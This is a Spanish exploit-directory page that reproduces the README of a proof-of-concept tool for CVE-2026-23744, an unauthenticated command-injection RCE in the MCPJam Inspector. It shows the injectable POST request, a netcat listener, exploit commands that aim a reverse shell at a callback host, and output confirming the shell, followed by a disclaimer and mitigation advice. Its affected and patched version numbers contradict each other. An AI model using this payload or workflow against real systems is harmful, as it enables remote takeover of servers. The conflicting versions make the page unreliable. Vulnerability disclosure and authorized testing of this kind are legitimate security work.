Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
mcp-pwn — Exploit de PoC para CVE-2026-23744 — RCE no autenticado en MCPJam Inspector mediante inyección de comandos serverConfig no validada en /api/mcp/connect, lo que permite una reverse shell como propietario del proceso sin credenciales. | Kitploit
Herramientas/GitHubGitHub/jf-gondim/mcp-pwn
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed Teaming
GitHubjf-gondim/mcp-pwn

mcp-pwn

Exploit de PoC para CVE-2026-23744 — RCE no autenticado en MCPJam Inspector mediante inyección de comandos serverConfig no validada en /api/mcp/connect, lo que permite una reverse shell como propietario del proceso sin credenciales.

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-23744 — Ejecución remota de código no autenticada en MCPJam

Resumen

MCPJam es un inspector y proxy MCP (Model Context Protocol) de código abierto utilizado para conectar, depurar y gestionar servidores MCP. Las versiones <= 1.4.2 exponen el endpoint /api/mcp/connect sin autenticación ni validación de entrada. Un atacante remoto no autenticado puede inyectar comandos arbitrarios del sistema operativo a través de los campos serverConfig.command / serverConfig.args, obteniendo ejecución remota de código con los privilegios del propietario del proceso.


Detalles de la vulnerabilidad

CampoValor
ID CVECVE-2026-23744
Puntuación CVSS9.8 (Crítico)
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-78 — Neutralización incorrecta de elementos especiales en un comando del sistema operativo
ComponenteMCPJam MCP Proxy Inspector
AfectadosMCPJam <= 1.4.2
Corregido enMCPJam >= 1.4.3
Vector de ataqueRed — No se requiere autenticación
Divulgación2026-01-15

Análisis técnico

El endpoint vulnerable acepta una solicitud POST JSON no autenticada:

root@kitploit:~
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json

{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<ATTACKER_CONTROLLED>"],
    "env": {}
  },
  "serverId": "any_string"
}

MCPJam pasa command y args directamente al lanzador de procesos de Node.js (child_process.spawn o equivalente) sin:

  • Validación de entrada ni lista blanca de comandos
  • Aplicación de autenticación o autorización en este endpoint
  • Sandboxing, namespacing ni reducción de privilegios

Un atacante que pueda alcanzar el puerto 3000 (por defecto) puede suministrar una carga útil de reverse shell en args[1], obteniendo una shell como propietario del proceso de MCPJam — a menudo root o una cuenta de servicio con amplio acceso al sistema.

Causa raíz

La ausencia de un middleware de autenticación que proteja /api/mcp/connect, combinada con el uso no controlado de valores proporcionados por el usuario en una llamada de lanzamiento de procesos, constituye un caso clásico de inyección de comandos del sistema operativo no autenticada (CWE-78).


Uso del exploit

Requisitos

root@kitploit:~
pip install requests urllib3

Argumentos

root@kitploit:~
  -t, --target          Target IP or hostname
  -p, --port            Target port (default MCPJam: 3000)
  -l, --lhost           Local IP for reverse-shell callback
  -r, --lport           Local port for reverse-shell callback
      --timeout         Seconds to wait for target availability (default: 30)
      --shell-timeout   POST timeout before assuming shell dropped (default: 5)
  -v, --verbose         Print full HTTP response body

Paso a paso

1. Inicia un listener de netcat en tu máquina:

root@kitploit:~
nc -lvnp 4444

2. Ejecuta el exploit:

root@kitploit:~
# Basic
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444

# Verbose + extended availability timeout (slow targets)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v

# Longer shell timeout (give more time before assuming shell was established)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10

Salida esperada

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║     MCPJam  ·  Unauthenticated RCE via serverConfig Injection     ║
 ║                        CVE-2026-23744                             ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2026-23744
  Component   :  MCPJam MCP Proxy Inspector
  Affected    :  <= 1.2.3   →  Patched: >= 1.2.4
  CVSS Score  :  9.8 (Critical)
  CVSS Vector :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-78 — OS Command Injection
  Type        :  Unauthenticated Remote Code Execution  (Network / No Auth)
  Reference   :  https://nvd.nist.gov/vuln/detail/CVE-2026-23744

  10:32:01 [*] Probing target 10.10.11.50:3000  (max 30s) ...
  10:32:02 [+] Target is alive — HTTP 200

  10:32:02 [*] Exploit endpoint  : http://10.10.11.50:3000/api/mcp/connect
  10:32:02 [*] Reverse-shell CB  : 10.10.14.5:4444
  10:32:02 [!] Ensure listener   : nc -lvnp 4444
  10:32:02 [*] Firing payload    ...

  10:32:07 [+] POST timed out after 5s — reverse shell likely established on 10.10.14.5:4444
  10:32:07 [+] Switch to your netcat listener — incoming connection expected.

  10:32:07 [+] Exploit routine complete.

El timeout indica éxito. Cuando la solicitud POST agota el tiempo, el proceso objetivo se está bloqueando en la reverse shell abierta — este es el comportamiento esperado, lo que confirma que se logró RCE. Cambia a tu listener inmediatamente.


Mitigación


Referencias

  • CVE-2026-23744: RCE en el inspector MCPJam debido a un endpoint HTTP expuesto
  • NVD — CVE-2026-23744
  • CWE-78: Inyección de comandos del sistema operativo
  • OWASP: Inyección de comandos
  • OWASP Top 10: A03 Inyección
  • Model Context Protocol — Consideraciones de seguridad
  • Proyecto MCPJam

Descargo de responsabilidad

Este exploit se proporciona estrictamente con fines educativos y pruebas de seguridad autorizadas. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar. El uso no autorizado es ilegal y poco ético.

Descargar herramienta
PrioridadAcción
CríticoActualizar MCPJam a >= 1.2.4
AltaRestringir /api/mcp/connect detrás de un middleware de autenticación
AltaAplicar una regla de firewall a nivel de red que limite el acceso al puerto de MCPJam a IPs de confianza
MediaIncluir en la lista blanca los valores permitidos para serverConfig.command
MediaEjecutar MCPJam dentro de un contenedor / con un usuario Linux restringido (sin shell, sin /dev/tcp)
BajaHabilitar registro de auditoría en los eventos de lanzamiento de procesos